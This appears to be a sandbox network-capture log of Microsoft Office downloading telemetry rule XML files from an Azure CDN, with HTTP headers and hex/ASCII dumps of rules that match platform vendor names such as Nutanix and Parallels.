Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:52 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:52 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bbae04f8-a01e-0032-80cc-451949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145252Z-1746fd949bd77mkmhC1EWR5efc00000004r0000000002egh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:53 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:53 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:53 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 4da954f1-f01e-003f-58cd-45d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145253Z-1746fd949bdhk6hphC1EWRaw3c000000043000000000f508 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:53 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:54 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 71541f9e-801e-0078-2fc7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145254Z-1746fd949bdmv56chC1EWRypnn00000004hg000000008cxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:54 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:54 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f87bd39b-701e-0097-59cc-45b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145254Z-1746fd949bdhk6hphC1EWRaw3c000000047g0000000009yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:54 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:54 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5cfda45f-901e-00ac-3dce-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145255Z-1746fd949bd54zxghC1EWRzre400000004kg00000000h2dz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:55 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a6ea1e21-c01e-0014-27b6-47a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145255Z-1746fd949bdlnsqphC1EWRurw0000000048g000000007c54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:55 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2accf417-001e-0014-64cb-455151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145255Z-1746fd949bd54zxghC1EWRzre400000004gg00000000qsry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:56 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:56 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: db1bed36-501e-0078-7a9b-4706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145256Z-1746fd949bd6zq92hC1EWRry48000000049000000000fsyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:57 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:57 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:57 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8c60988c-801e-00a3-08c1-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145257Z-1746fd949bd7wvgbhC1EWR0rgs00000004gg000000000ukd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:57 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:57 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 1a0f4f93-001e-0049-61cb-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145257Z-1746fd949bdxk6n6hC1EWRdr8c000000047g0000000092hk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:58 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:58 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b51b559c-801e-008c-7fcc-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145258Z-1746fd949bdtlp5chC1EWRq1v4000000049000000000fm1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:58 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:58 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 214b6268-601e-0002-32ad-46a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145259Z-1746fd949bdjrnwqhC1EWRpg28000000049g00000000mwe5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" 